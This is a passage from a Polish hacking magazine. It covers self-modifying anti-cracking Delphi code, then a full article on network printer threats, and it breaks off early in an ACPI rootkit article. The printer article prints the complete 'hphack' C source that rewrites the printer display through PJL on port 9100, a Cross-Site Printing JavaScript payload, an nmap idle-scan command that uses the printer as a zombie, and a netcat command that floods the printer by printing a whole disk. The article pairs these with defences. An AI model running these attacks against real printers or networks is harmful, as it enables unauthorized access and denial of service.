debuggera (

CPU i FPU

). Nas interesuje 

okno CPU, które zawiera kod programu w 
asemblerze z odpowiadającym mu kodem 
w Pascalu. Okno zawiera też informacje o 
wszystkich rejestrach CPU, stosie wywołań 
(call stack), zmiennych lokalnych (local 
variables
) oraz obraz pamięci danych. Okno 
wywołujemy kombinacją klawiszy [Ctrl+Alt+C] 
lub otwierając odpowiednią opcję menu 
View->Debug Windows->CPU. Przy pomocy 
klawiszy [F7] i [F8] wykonujemy krok po kroku 
pojedyńcze instrukcje linia po linii, tak jak w 
oknie Pascala podczas śledzenia programu 
na wysokim poziomie. Po wykonaniu każdego 
rozkazu mozemy obserwować zmiany 
jakie wprowadził on do rejestrów i pamięci 
danych. Zmienia się też zdeasemblowany 
kod w wyniku samomodyfikacji -- 
debugger pokazuje kod nieodpowiadający 
wykonywanemu w rzeczywistości.

W linii 156 (etykieta l1) mamy po 

prostu deklarację podwójnego słowa o 
wartości 

0F00Fh

. Jak widać w oknie 

CPU

ten ciąg bajtów nie koduje żadnej instrukcji 
procesora i został zinterpretowany przez 
deasembler jako ciąg: 

DB $0F $F0

. Tu 

mała uwaga: jesteśmy w uprzywilejowanej 
sytuacji, bo program został skompilowany 
z informacjami dla debuggera – dlatego 
wiemy, jaka linia kodu źródłowego 
odpowiada konkretnej linii wygenerowanego 
kodu. Aplikacja przeznaczona do 
rozpowszechniania jest kompilowana 
bez tych dodatkowych informacji, więc 
potencjalny cracker nie jest w takiej 
komfortowej sytuacji jak my teraz.

Na Rysunku 4. widać wykonujący się, 

rzekomo bezsensowny kod. Jednak ciąg 

Rysunek 3. 

Widok źródła asemblera skompilowanego programu podczas śledzenia aplikacji

Rysunek 4. 

Bezsensowny kod w oknie CPU

background image

ATAK

30

 

HAKIN9 6/2008

KOD W DELPHI – ZMORA CRACKERA

31

 

HAKIN9 

6/2008

db $0f $f0

 nie powoduje wywołania 

wyjątku z informacją o napotkaniu 
nieprawidłowego kodu instrukcji, 
lecz wykonuje działania, jakie zostały 
zaplanowane. W miejsce to został 
wcześniej podstawiony przez naszą 
funkcję właściwy kod (tu jest to rozkaz 
krótkiego skoku względnego – 

JMP 

SHORT

, o kodzie 

0EBh

). Podstawienie nie 

zostało wykonane bezpośrednio, ale po 
kawałku
 w różnych miejscach programu. 
Instrukcja została jakby obliczona i wynik 
odpowiednich operacji arytmetycznych, 
rozrzuconych w kodzie pętli, utworzył w 
wyniku kod instrukcji skoku. Oczywiście 
wszystkie operacje można jeszcze 
bardziej zagmatwać. Tu chciałem pokazać 
zasadę tworzenia takiego kodu, starając 
się nie komplikować niepotrzebnie listingu, 
który i tak już jest dość złożony.

Na Rysunku 5. widać trzy dziwne 

instrukcje (linia 187). W tym miejscu 
w źródle programu jest deklaracja 

DW 1227h

, co widać w oknie 

CPU

Jednak taka wartość znajdowała się 
tam podczas startu programu i już się 
zmieniła, ale debugger nie mógł tego 
oczywiście zarejestrować. Po wykonaniu 
tego kodu zostanie on zamazany losową 
zawartością i ponownie wygenerowany 
w następnej iteracji. Oprócz opisanych 
powyżej efektów, program został 
napisany tak, aby wykonywał się 
nieregularnie – to znaczy co chwila 
wykonywane są skoki w przód i w tył 
z modyfikacjami kodu. To dodatkowe 
utrudnienie podczas śledzenia programu 
w debuggerze.

Rysunek 6. przedstawia kolejny 

przykład fałszywego kodu programu. 
Natomiast na Rysunku 7. widzimy 
ponownie początek pętli funkcji szyfrującej 
z widoczną pułapką (ang. breakpoint), 
która została przedstawiona na Rysunku 1. 
i 2. Proszę porównać linię 156 na Rysunku 
1 z tą samą linią na Rysunku 7. Zamiast 

DB $0F $F0

 pojawiły się nowe instrukcje: 

PUSH EAX i HLT

. Podobne różnice widać 

w niższych liniach (160, 161, 171). Warto 
zwrócić uwagę na to, co stało się w linii 
161. Jeden podstawiony bajt zmienił 
całkowicie znaczenie kolejnych 6 bajtów. 
Zamiast sekwencji: 

„SUB EAX,EDX; 

ADD EAX, mem32; NOP”

 mamy: 

„OR 

EBP,[ECX]; ROL [EBX],1; INC EBP; 
LOCK NOP”

.

Rysunek 5. 

Kolejny przykład bezsensownego kodu

Rysunek 6. 

Jeszcze jedna niespodzianka

background image

ATAK

32

 

HAKIN9 6/2008

Szczegóły implementacji

Na początku każdej z funkcji obliczany 
jest rozmiar kodu zawartego we wstawce 
asemblerowej w pętli for. Ta informacja 
jest potrzebna do wywołania systemowej 
funkcji 

Windows AP

I:

BOOL WINAPI VirtualProtect( _ _

in LPVOID lpAddress, _ _ in SIZE _ T 
dwSize, _ _ in DWORD flNewProtect, 
_ _ out PDWORD lpflOldProtect)

;

Służy ona do zmieniania praw dostępu 

do wybranego obszaru pamięci. Aby 
możliwe było modyfikowanie programu 
przez niego samego, należy ustawić 
zezwolenie na zapis w segmencie kodu, 
w którym zawarta jest nasza wstawka 
asemblerowa. Funkcja pobiera adres 
początkowy, rozmiar (w bajtach) bloku 
pamięci, którego mają dotyczyć zmiany, 
nowe atrybuty dostępu. Zwraca w 
ostatnim argumencie bieżące ustawienia, 
aby można było je później przywrócić 
– co jest wykonywane na końcu funkcji 
szyfrującej. Bez wywołania tej funkcji 
otrzymalibyśmy wyjątek z informacją o 
braku możliwości zapisu w wybranym 
obszarze pamięci (tu – w kodzie naszej 

funkcji). Po tej operacji rozpoczyna się 
pętla, w której kolejno pobierane są znaki z 
łańcuchów wejściowych. Na początku pętli 
modyfikowane są wybrane bajty w obrębie 
etykiet l1 i l4. Następnie wykonywany jest 
skok do etykiety l7, skąd wykonywany jest 
skok do l0 – gdzie odbywa się modyfikacja 
czterech bajtów zawartych przed etykietą 
l9. Po tej operacji wykonywanie programu 
przenosi się do etykiety l5, gdzie obliczany 
jest kod rozkazu 

JMP SHORT

 przy etykiecie 

l1 oraz argument dla niego – względne 
położenie etykiety l8. Wygenerowanie kodu 
rozkazu 

JMP

 

SHORT

 odbywa się w dwóch 

krokach. Na początku pętli do rejestru 

EDX

 

jest wpisywany adres etykiety l3 poprzez 
umieszczenie na stosie zawartości 

EAX

 

i zdjęcie tej wartości do 

EDX

. W pobliżu 

etykiety l3 znajduje się wartość 

DB

 

0Bh

Ta wartość jest wprowadzana do 

AL

 w 

momencie przejścia do l5. Jak pamiętamy, 
adres tej wartości jest odłożony w 

EDX

Po wykonaniu operacji 

OR

 na zawartości 

rejestru 

AL

 z argumentem 

0E0h w AL

 

otrzymujemy kod 

JMP SHORT – 0EBh

. Kod 

ten jest wstawiany pod adresem etykiety 
l1 oraz uzupełniany o obliczony argument. 

Wykonywany jest skok do l1, a z l1 do l8, 
gdzie wykonywane są właściwe operacje 
na łańcuchach wraz z generowaniem, z 
wyprzedzeniem, odpowiednich instrukcji.

Podobnie przedstawia się sprawa 

funkcjonowania funkcji dekodującej.

Proponowane rozwiązanie nie 

pretenduje absolutnie do uznania za 
cudowną metodę rozwiązującą wszystkie 
problemy, jednak sądzę, że spełnia swoją 
funkcję znacznego uprzykrzenia procesu 
rozpracowywania kodu odpowiedzialnego 
za zabezpieczenia przed nieuprawnionym 
korzystaniem z aplikacji.

Podsumowanie

Przedstawione metody pozwalają 
znacznie utrudnić analizę i deasemblację 
skompilowanego programu. Jak było 
wcześniej wspomniane, nic nie stoi 
na przeszkodzie aby jeszcze bardziej 
skomplikować funkcję kodującą. 
Można dodać bardziej złożone metody 
generowania kodu w czasie wykonania, 
tak jak to zostało pokazane na przykładzie 
rozkazu krótkiego skoku i rozkazów 
obliczających kod znaku w łańcuchu 
wyjściowym. Podstawą jest oczywiście 
sam algorytm szyfrujący. Im bardziej 
będzie zagmatwany i uzależniony od 
większej liczby powiązanych ze sobą 
zmiennych tym lepiej. Jednak cały wysiłek 
może być daremny, jeśli ktoś pójdzie 
na skróty
 i bezpośrednio dobierze 
się do naszego kodu w celu odkrycia 
samego algorytmu, zamiast próbować 
dochodzić do zależności między 
kluczem, a wyjściowym łańcuchem. 
Przerobienie funkcji na wersję SMC 
chroni sam kod przed odkryciem naszej 
metody szyfrowania/deszyfrowania. 
Bez tej ochrony rozgryzienie kodu i 
napisanie generatora kluczy nie będzie 
dla crackera dużym problemem. Nie 
jesteśmy oczywiście stuprocentowo 
zabezpieczeni jednak mamy pewność, 
że prawdopodobieństwo rozpracowania 
naszej funkcji znacznie zmaleje.

Rysunek 7. 

Druga iteracja – pojawił się nowy kod

Artur Kozubski

Autor jest programistą aplikacji internetowych i baz 

danych w sklepie internetowym Gigant.pl. Współpracuje 

jako mechatronik-programista systemów sterowania 

maszynami CNC z firmą Ximplant Medical Systems, 

rozwijającą się w Warszawskim Inkubatorze Technologii 

TechnoPort. Z wykształcenia mechatronik. Obecnie 

student informatyki w Polsko-Japońskiej Wyższej Szkole 

Technik Komputerowych.

Kontakt z autorem: artkocoder@gmail.com

background image
background image

34

 

HAKIN9

ATAK

6/2008

C

ała gama produktów określana mianem 
drukarek wielofunkcyjnych (ang. MFP 
– Multi Function Printer
) dostępna na 

rynku pozwala na dopasowanie modelu do 
swoich potrzeb i korzystanie z niego w sieci, 
ponieważ większość urządzeń zaopatrzona jest 
we wbudowany serwer wydruku (ang. printserver). 
Wygoda korzystania z tego rodzaju urządzeń 
jest bardzo duża – sprzęt, oprócz samej funkcji 
drukowania, która stanowi funkcjonalność bazową, 
potrafi nierzadko kopiować, skanować oraz 
wysyłać faksy.

Czy istnieje ryzyko ataku skierowanego 

bezpośrednio w urządzenia MFP? Czy można 
takie urządzenia wykorzystać do ataku na inny 
system? Czy urządzenie MFP może być celem 
ataku spamera? Odpowiedzi na te i, być może, 
inne pytania postaram się zawrzeć w tym artykule.

Usługi pracujące w MFP

Zadziwiające jest, jak wiele usług działa w tak 
prostych z pozoru urządzeniach, jak drukarki MFP. 
Ilość i rodzaj usług jest oczywiście zależna od 
producenta sprzętu, ale także od zadań do jakich 
jest przeznaczony.

Z ważniejszych usług pracujących w tych 

urządzeniach należy wymienić: FTP (File Transfer 
Protocol
), HTTP (HyperText Transfer Protocol), 
HTTPS (HyperText Transfer Protocol Secure), 
SNMP (Simple Network Management Protocol), 
Telnet – jako usługi pozwalające na konfigurację, 
zarządzanie oraz kontrolę pracy sprzętu. 

GRZEGORZ BŁOŃSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

co to jest urządzenie MFP,

jak minimalizować ryzyko 

wycieku danych z MFP,

jak ochronić drukarki przed 

atakiem XSP.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy Linuksa,

umieć kompilować programy,

znać skaner portów NMAP.

Usługi LPD (Line Printer Daemon), IPP (Internet 
Printer Protocol
) oraz JetDirect umożliwiają zaś 
drukowanie oraz zarządzanie wydrukami. Usługi 
takie, jak HTTP, FTP czy Telnet pracują w tego typu 
urządzeniach na standardowych portach.

Portem skojarzonym z usługą JetDirect 

– obecnie najbardziej popularną i najczęściej 
wykorzystywaną w drukarkach sieciowych – jest 
port tcp 9100.

To na tym właśnie porcie komunikują się z 

drukarką komputery wysyłające wydruki drogą 
sieciową. Port tcp 9100 w urządzeniach MFP traktuje 
wszystkie odebrane dane jako zadanie do wydruku. 
Co więc się stanie, jeśli wykorzystując usługę Telnet 
połączymy się z drukarką na porcie 9100?

Jak można zauważyć na Rysunku 1, wykonałem 

połączenie oraz wpisałem kilka słów. Po zakończeniu 
połączenia tekst, który wpisałem, został przez 
drukarkę wydrukowany – co pokazuje Rysunek 2.

Takie zachowanie drukarki – drukowanie 

wszystkiego, co jest wysyłane na jej port 9100 
– wydaje się być naturalne, lecz czy na pewno jest 
to rozwiązanie nie zwiększające ryzyka ataku, na 
przykład SPAMu? 

Kompromitacja drukarki czy żart?

Kolejna kwestia, która może rozbawić, ale 
może także spowodować nieoczekiwane skutki 
– to podatność niektórych urządzeń MFP na 
zmiany w ich oprogramowaniu wewnętrznym 
bez specjalnej autoryzacji, zdalnie. Sprzęt 
wyposażony w wyświetlacze LCD, pokazujące 

Stopień trudności

Zagrożenia  

drukarek

Dzisiejsze wielofunkcyjne drukarki sieciowe to prawdziwe 

kombajny. Potrafią robić naprawdę wiele rzeczy. Czy – używając 

drukarki wielofunkcyjnej w swojej sieci – jesteś pewny, że nie 

zwiększasz ryzyka wycieku danych lub potencjalnego ataku na 

Twoją sieć?

background image

35

 

HAKIN9 

ZAGROŻENIA DRUKAREK

6/2008

stan urządzenia w danym momencie, 
komunikaty oraz informacje o błędach, 
może zostać skompromitowany w bardzo 
prosty sposób.

Po wydaniu poleceń przedstawionych 

poniżej, na ekranie LCD drukarki zamiast 
komunikatu READY pojawi się INSERT 
COIN (wrzuć monetę). (Listing 2.)

Taki komunikat może zostać 

potraktowany jako żart, ale czy zdarzenie 
takie nie powinno zostać potraktowane jako 
przypadek nieautoryzowanego dostępu 
do sprzętu, co może rodzić dość poważne 
zagrożenia bezpieczeństwa? Przecież 
można napis pojawiający się na drukarce, 
informujący o wyczerpaniu tonera, zmienić 
na READY – wówczas użytkownicy chcący 
dokonać wydruku będą widzieli, że drukarka 
jest gotowa do pracy, jednak ich wydruki 
nie będą przez nią akceptowane. Taka 
sytuacja na pewno może spowodować 
zamieszanie i utrudnienia w pracy, co może 
również być zamierzonym działaniem 
potencjalnego atakującego.

Ktoś powie ale przecież urządzenia 

takie mają możliwość definiowania haseł 
dostępu
. Ma rację, ale co z tego – skoro 
większość sprzętu zostaje podłączona, 
skonfigurowana do wygodnej pracy i już nikt 
się nim nie interesuje, chyba że zabraknie 
papieru w zasobniku, tonera czy tuszu. Hasło 
nie zostaje zdefiniowane, bo przecież uleci z 
pamięci ludzkiej i wtedy tylko będzie kłopot.

Niewielu administratorów sieci zdaje 

sobie sprawę z tego, że urządzenia MFP 
nie zabezpieczone we właściwy sposób są 
łatwym celem ataku, a mogą także zostać 
wykorzystane do ataku na inne komputery 
w sieci. Teraz przedstawię program 
przeznaczony dla systemów uniksowych, 
który potrafi wysyłać do drukarki ciąg znaków, 
które zostają wyświetlone na jej wyświetlaczu. 
Tak naprawdę program robi dokładnie to, co 
wcześniej opisane polecenie.

Program (patrz Listing 1) jest dość leciwy, 

jednak nadal można spotkać drukarki, które 
daje się przy jego pomocy zmodyfikować
Jak widać, program wcale nie jest bardzo 
skomplikowany. Niestety, próba jego 
kompilacji w takiej postaci może się nie udać 
w zależności od systemu, na jakim będziemy 
to robić. W przypadku systemów CentOS 
oraz Mandriva, na których kompilowałem ten 

Listing 1. 

Źródło programu „hphack”

/* 
   HP Printer Hack
   12/8/97 sili@l0pht.com
   Compile with -lsocket -lnsl on solaris. 
   Should compile fine on *BSD & linux.   
*/

#

include

 

<

sys/types.h

>

#

include

 

<

sys/socket.h

>

#

include

 

<

netdb.h

>

#

include

 

<

netinet/in.h

>

#

include

 

<

stdio.h

>

#define PORT 9100

int

 main 

(

int

 argc, 

char

 *argv

[])

 

{

  

int

 sockfd,len,bytes_sent;   

/* Sock FD */

  struct hostent *host;   

/* info from gethostbyname */

  struct sockaddr_in dest_addr;   

/* Host Address */

  

char

 line

[

100

]

;

  
  

if

 

(

argc !=3

)

 

{

    

printf

(

"HP Display Hack

\n

--sili

@l0pht

.com 12/8/97

\n\n

%s

 printer 

\"

message

\"\

n

"

,argv

[

0

])

;

    

printf

(

"

\t

Message can be up to 16 characters long (44 on 5si's)

\n

"

)

;

    

exit

(

1

)

;

  

}

  

if

 

(

 

(

host=gethostbyname

(

argv

[

1

]))

 == NULL

)

 

{

    perror

(

"gethostbyname"

)

;

    

exit

(

1

)

;

  

}

  

printf

 

(

"HP Display hack -- sili

@l0pht

.com

\n

"

)

;

  

printf

 

(

"Hostname:   

%s

\n

"

, argv

[

1

])

;

  

printf

 

(

"Message: 

%s

\n

"

,argv

[

2

])

;

  

/* Prepare dest_addr */

  dest_addr.sin_family= host-

>

h_addrtype;  

/* AF_INET from gethostbyname */

  dest_addr.sin_port= htons

(

PORT

)

 ; 

/* PORT defined above */

  

/* Prepare dest_addr */

  bcopy

(

host-

>

h_addr, 

(

char

 *

)

 &dest_addr.sin_addr, host-

>

h_length

)

;

  bzero

(

&

(

dest_addr.sin_zero

)

, 8

)

;  

/* Take care of  sin_zero  ??? */

  

/* Get socket */

/*  printf ("Grabbing socket....\n"); */

  

if

 

((

sockfd=socket

(

AF_INET,SOCK_STREAM,0

))

 

<

 0

)

 

{

    perror

(

"socket"

)

;

    

exit

(

1

)

;

  

}

  

/* Connect !*/

  

printf

 

(

"Connecting....

\n

"

)

;

  

if

 

(

connect

(

sockfd, 

(

struct sockaddr *

)

&dest_addr,

sizeof

(

dest_addr

))

 == -1

){

    perror

(

"connect"

)

;

    

exit

(

1

)

;

}

  

/* Preparing JPL Command */

  strcpy

(

line,

"

\0

33

%-

12345X

@PJL

 RDYMSG DISPLAY = 

\"

"

)

;

  strncat

(

line,argv

[

2

]

,44

)

;

  strcat

(

line,

"

\"\r\n\0

33

%-

12345X

\r\n

"

)

;

  

/* Sending data! */

/*  printf ("Sending Data...%d\n",strlen(line));*/
/*  printf ("Line: %s\n",line); */

  bytes_sent=send

(

sockfd,line,

strlen

(

line

)

,0

)

;

  

  

printf

(

"Sent 

%d

 bytes

\n

"

,bytes_sent

)

;

  close

(

sockfd

)

;

}

Rysunek 1. 

Wydruk przy użyciu usługi telnet

background image

ATAK

36

 

HAKIN9 6/2008

37

 

HAKIN9 

6/2008

ZAGROŻENIA DRUKAREK

program, koniecznym było dodanie dwóch 
plików nagłówkowych stdlib.h oraz string.h 
w pierwszych liniach źródła programu. Po 
dodaniu tych plików kompilacja przebiega 
bez błędów oraz ostrzeżeń i program pracuje 
poprawnie.

Drukarka MFP jako zombie

Bardzo ciekawym, a jednocześnie 
niebezpiecznym sposobem wykorzystania 
urządzeń MFP jest ich zaprzęgnięcie do roli 
komputera zombie podczas wykonywania 
na przykład skanowania portów na 
komputerze, który jest celem ataku. Komputer 
zombie pozwala na ukrycie faktycznego 
źródła takiego skanowania, co pozwala na 
utrudnianie wykrycia sprawcy ataku.

Wykorzystując znany skaner portów 

NMAP możemy wykorzystać drukarkę 
MFP w taki sposób, że komputer docelowy 
będzie w stanie w swoich logach 
znaleźć tylko adres IP drukarki jako 
źródło skanowania. W takim przypadku, 
w razie wykrycia przez administratora 
próby skanowania portów na serwerze, 
całe podejrzenie padnie na adres 
IP drukarki, co znacznie skomplikuje 
odnalezienie faktycznego źródła ataku. Po 
szczegóły dotyczące techniki Idle Scan 
z wykorzystaniem komputera zombie 
odsyłam do dokumentacji programu NMAP.
Po wykonaniu polecenia: 

nmap -P0 -sI adres_drukarki_MFP adres_

docelowy 

na ekranie ujrzymy to, co widać na Rysunku 
3, czyli informacje o otwartych portach 
oraz o tych, które są filtrowane.

Spamowanie drukarki

Cross-Site Printing (Printer Spamming
XSP) to określenie nowego exploita 
pozwalającego na zaatakowanie 
drukarki przy użyciu JavaScript. W 
dokumencie autorstwa Aarona Weavera 
możemy przeczytać, jak można w prosty 
sposób wykonać atak za pomocą 
nieskomplikowanych skryptów.

Poniższy skrypt pozwala wysłać 

do drukarki dowolny tekst, który w tym 
przypadku jest zdaniem: Twoja drukarka 
jest teraz moja! 
(Listing 3.)

Efektem działania takiego skryptu 

będzie zdanie Twoja drukarka jest teraz 
moja!
, wydrukowane czcionką kroju Courier 
o rozmiarze 20dpi.

Wykorzystanie tego typu skryptów jest 

o tyle niebezpieczne, że nie ogranicza się 
tylko do sieci LAN. W przypadku XSP atak 

może zostać przeprowadzony na drukarkę w 
każdym miejscu. Odpowiednio spreparowana 
strona w Internecie, odwiedzana przez 
niczego nie podejrzewające osoby może być 
uzbrojona w tego rodzaju skrypt, który może 
spowodować zalewanie wydrukami obecnej 
w sieci lokalnej i podatnej na tego typu ataki 
drukarki.

Więcej ciekawych skryptów można 

znaleźć w dokumencie CrossSitePrinting.pdf 
(link w ramce W Sieci). Przy tej okazji 
warto wspomnieć o możliwości zalewania 
(ang. flooding) drukarki wydrukami w celu 
jej sparaliżowania – co również nie jest 
czymś pożądanym. Fakt, że tego typu atak 
możliwy jest jedynie z obszaru sieci LAN, 
w której drukarka się znajduje, nie oznacza, 
że należy go całkowicie ignorować. Ataki 
tego typu można określić także mianem 
Denial of Service, ponieważ drukarka 
zasypana ogromną ilością wydruków z 
jednego adresu IP będzie odmawiała 
wydruków innym adresom. Ataku takiego 
możemy dokonać na przykład przy użyciu 

Rysunek 2. 

Tekst wydrukowany przy pomocy usługi telnet

Rysunek 3. 

Nmap i drukarka MFP jako zombie

Listing 2. 

Skrypt Aarona Weavera

#

telnet 192.169.1.2 9100

@PJL

 RDYMSG DISPLAY=

"INSERT COIN"

^

]

quit
#

$

Listing 3. 

Wysyłka dowolnego tekstu 

do drukarki

var

 msg

=

String.fromCharCode(

27

) + 

"%-

12345X@PJL ENTER 
LANGUAGE 

=

 POSTSCRIPT\r\n” 

"%!PS\r\n"

"/Courier findfont\r\n"

+ "

20

 scalefont\r\n

"setfont\r\n"

+ "

72

 

500

 moveto\r\n

"

"(Twoja drukarka jest teraz moja!) 

show\r\n"

"showpage\r\n"

 

+ String.fromCharCode(

27

) + "%-12345X

background image

ATAK

36

 

HAKIN9 6/2008

37

 

HAKIN9 

6/2008

ZAGROŻENIA DRUKAREK

kombinacji poleceń 

cat

 oraz 

netcat

którym wskażemy wydrukowanie zawartości 
na przykład całego dysku czy partycji. Taka 
kombinacja poleceń, jak przedstawiona 
poniżej, będzie drukowała zwartość dysku. 

cat /dev/hda|netcat -q 0 192.168.1.2 

9100

Jak można się domyślić, drukowanie takiej 
ilości danych nie dość, że spowoduje 
szybkie zużycie tonera i papieru, to zablokuje 
możliwość wydruku innym użytkownikom. 
Może to negatywnie odbić się na jakości 
wykonywanej przez nich pracy, jeśli drukarka 
jest intensywnie wykorzystywana przez wielu 
użytkowników.

Zapobieganie atakom

Czy są sposoby zapobiegania atakom 
na urządzenia MFP pracujące w naszych 
sieciach? Oczywiście, że znamy takie 
metody, często ignorowane przez 
administratorów – pewnych, że przecież 

to tylko drukarka, która potrafi czasem 
jeszcze skanować i wysyłać faksy. 
Podstawową rzeczą, którą należy zrobić, by 
zminimalizować możliwość takich ataków, 
to zdefiniowanie haseł administracyjnych 
– zarówno dla usług typu Telnet, jak i dla 
usług zarządzania poprzez interfejs webowy. 
Kolejna metoda to wyłączenie w urządzeniu 
MFP usług, które nie są wykorzystywane. 
Jeśli mamy możliwość zarządzania 
drukarką poprzez przeglądarkę przy użyciu 
protokołu szyfrowanej transmisji HTTPS, 
możemy wyłączyć usługę Telnet, która jest 
dość łatwa do podsłuchania.

Inny sposób to wykorzystanie dość 

często stosowanych w urządzeniach MFP 
opcji, pozwalających na zdefiniowanie klasy 
adresów (czy wręcz pojedynczych adresów), 
mogących wykonywać wydruki – co dość 
mocno ogranicza możliwość dokonania 
ataku. Przykładem drukarki wyposażonej 
w różne rodzaje zabezpieczeń jest produkt 
firmy Ricoh. Sprzęt cechuje możliwość 
zdefiniowania grupy użytkowników, którzy 
mogą korzystać z drukarki po zalogowaniu 
się – definiowane są loginy i hasła dla 
każdego użytkownika.

Dodatkowo w urządzeniu można 

zdefiniować zakresy adresów IP, z których 
drukarka będzie przyjmowała wydruki, 
co również znacznie zawęża możliwości 
ataku na takie urządzenie. Jednak 
większość drukarek dostępnych na rynku, 
a wykorzystujących usługę JetDirect, jest 
podatna na opisane tutaj działania.

W swoich testach używałem 

drukarek z wbudowanym serwerem 
wydruku (RICOH Aficio MP 161, HP4050, 
OKI C3400), ale także printserwerów 
(Edimax PS-3101P, D-link DP-301U, HP 
JetDirect 500X) z podłączonymi do nich 
drukarkami różnego typu. W każdym 
przypadku możliwości złośliwego ataku 

są inne i zależą od ilości funkcji, w jakie 
urządzenie MFP zostało wyposażone 
– oraz oczywiście od tego, w jaki sposób 
wykorzystano wbudowane możliwości 
jego zabezpieczenia.

Podsumowanie

Bezpieczeństwo urządzeń MFP nie jest 
tak oczywiste, jak mogłoby się wydawać. 
Procedura instalacji i uruchomienia 
urządzenia jest bardzo prosta, co bardzo 
często powoduje zaniechanie właściwej 
konfiguracji, której celem byłoby takie 
zabezpieczenie urządzenia, aby mogła z 
niego korzystać tylko ściśle określona grupa 
użytkowników. Choć coraz więcej urządzeń 
tego typu posiada takie możliwości, są 
one wykorzystywane tylko w znikomym 
procencie urządzeń. 

Artykuł tak naprawdę tylko delikatnie 

obrazuje, co można zdziałać w kwestii 
urządzeń MFP, jednak faktyczne 
możliwości nieautoryzowanego dostępu 
do takich urządzeń są o wiele większe. 
W wielu firmach urządzenia MFP po 
początkowym zainstalowaniu nie są 
wcale monitorowane, a jedyne prace, 
jakie są przy nich wykonywane – to 
doładowanie zasobników z papierem 
oraz wymiana tonera czy też tuszu. 
W przypadku większej liczy takich 
urządzeń monitoring to kwestia bardzo 
istotna – jednak najważniejszą rzeczą, 
którą administratorzy zajmujący się 
takimi urządzeniami powinni zrobić, 
to zdefiniowanie haseł dostępu do 
opcji administracyjnych – tak, aby 
zminimalizować możliwości dostania się 
do urządzeń osobom niepowołanym. 

Warto także zauważyć, że kwestie 

rozwiązań zabezpieczających w 
urządzeniach MFP powinny być brane 
pod uwagę już podczas planowania 
zakupu takiego sprzętu. Pozwoli to na 
dobranie urządzenia z pożądanym przez 
nas poziomem zabezpieczeń, a także 
uniknięcie niepotrzebnych problemów, które 
mogą być wynikiem działań podobnych do 
opisanych w tym artykule.

Grzegorz Błoński

Autor, Grzegorz Błoński, z wykształcenia jest 

informatykiem, certyfikowanym specjalistą IBM. Pracuje 

w dużej firmie o zasięgu światowym. Zajmuje się 

administracją i bezpieczeństwem sieciowym. Jest 

członkiem organizacji International Information Systems 

Forensics Association (IISFA), ISACA oraz Internet Society.

Kontakt z autorem: mancymonek@mancymonek.pl

W Sieci:

•   http://www.phenoelit-us.org/fr/tools.html,
•   http://www.darkreading.com/

document.asp?doc_id=142862,

•   http://kovaya.com/miscellany/2007/10/

insert-coin.html,

•   http://www.news.com/8301-10789_3-

9847334-57.html, 

•   http://www.net-security.org/dl/articles/

CrossSitePrinting.pdf, 

•   http://http://www.irongeek.com. 

Rysunek 4. 

Autoryzacja w urządzeniu 

Aficio MP 161

Rysunek 5. 

Kontrola dostępu w urządzeniu 

Aficio MP 161

background image

38

 

HAKIN9

ATAK

6/2008

O

dkąd powstały komputery, zaczęto 
sobie zadawać pytanie o ekologię 
takiego urządzenia. Także koszty jego 

działania odgrywały dużą rolę. W związku z tym 
już w 1989 roku firma Intel przedstawiła swoją 
pierwszą specyfikację standardu zarządzania 
energią. Jednak prawdziwy przełom nastąpił 
w 1992 roku, wraz z utworzeniem organizacji 
Energy Star i idącego z tym standardu APM (ang. 
Advanced Power Management – Zaawansowane 
Zarządzanie Energią). Umożliwiał on niższy pobór 
mocy przez urządzenia dzięki częściowemu lub 
całkowitemu wyłączaniu niektórych z nich wtedy, 
kiedy nie były w użyciu. 

Standard APM był jednak niedoskonały. Z 

założenia był on wbudowany bezpośrednio w 
pamięć płyty głównej, więc poprawne zarządzanie 
energią oraz bezpieczeństwo były niezależne od 
systemu operacyjnego i opierały się na kodzie, 
którego działanie było nie do końca sprawdzone 
– kodzie, który zawierał liczne błędy. System 
operacyjny miał niewielki (jeśli nie zerowy) wpływ 
na rozdysponowywanie energii na poszczególne 
urządzenia.

Odpowiedzią na niedoskonałości APM 

było opublikowanie specyfikacji ACPI (ang. 
Advanced Configuration and Power Interface 
– Zaawansowany Interfejs Konfiguracji Energii) 
w roku 1996. Standard ten poprawił większość 
niedoskonałości APM. Najważniejszym 
usprawnieniem było przesunięcie wszystkich 
funkcji związanych z zarządzaniem energią na 

KONRAD ZUWAŁA

Z ARTYKUŁU 

DOWIESZ SIĘ

czym jest ACPI,

poznasz zasady działania ACPI, 

poznasz podstawy języka 

skryptowego ACPI,

jak działa rootkit ukrywany w 

BIOSie,

jak bronić się przed tego typu 

zagrożeniami.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy działania 

komputera,

czym są przerwania i na jakiej 

zasadzie one działają,

czym jest rootkit.

poziom systemu operacyjnego, co poprawiało 
bezpieczeństwo i uniezależniało zachowanie ACPI 
od konkretnej wersji płyty głównej czy określonego 
producenta. Dodatkowo wprowadzono język 
maszynowy i skryptowy (AML i ASL), które 
umożliwiają definiowanie funkcji przydatnych z 
punktu widzenia ACPI. Co więcej, skrypty ACPI 
uruchamiane są z uprawnieniami najwyższego 
poziomu, mają one więc pełen dostęp do 
zasobów komputera, mogą modyfikować pamięć 
i w razie potrzeby być wywołane z poziomu 
systemu operacyjnego. Jednak ACPI ciągle było 
krytykowane za zbyt obszerną, liczącą kilkaset 
stron specyfikację oraz za podejście do kwestii 
bezpieczeństwa związanych z dostępem ACPI do 
zasobów komputera.

Specyfikacja ACPI – jak to działa?

Pierwszą specyfikację standardu ACPI 
opublikowano w grudniu 1996 roku. Do dnia 
dzisiejszego ulegała ona wielokrotnym zmianom, 
obecnie obowiązuje już wersja trzecia tegoż 
standardu. Jednak ogólne zasady nie uległy 
zmianie i obowiązują ciągle od pierwszych wersji 
standardu.

Głównym usprawnieniem w stosunku do APM 

było przekazanie zarządzania poborem energii 
do systemu operacyjnego. Poprzednio to BIOS 
zarządzał całym procesem. Kolejną nowinką 
było wprowadzenie zaczerpniętej z komputerów 
osobistych technologii, dopuszczającej 
przeniesienie komputera w stan bardzo niskiego 

Stopień trudności

Rootkity ACPI

Rootkity od zawsze były zmorą administratorów sieci. Jednak 

wraz z rozwojem technologii ukrywania złośliwego kodu w 

systemie, rozwijały się także narzędzia, które go wykrywały. Przed 

ich twórcami stanęło teraz nowe zadanie: rootkity, które ukrywają 

się w BIOSie, znane pod nazwą rootkitów ACPI.

background image

39

 

HAKIN9 

ROOTKITY ACPI

6/2008

poboru mocy poprzez odłączenie 
napięcia od podstawowych podzespołów 
– takich, jak pamięć RAM czy dyski 
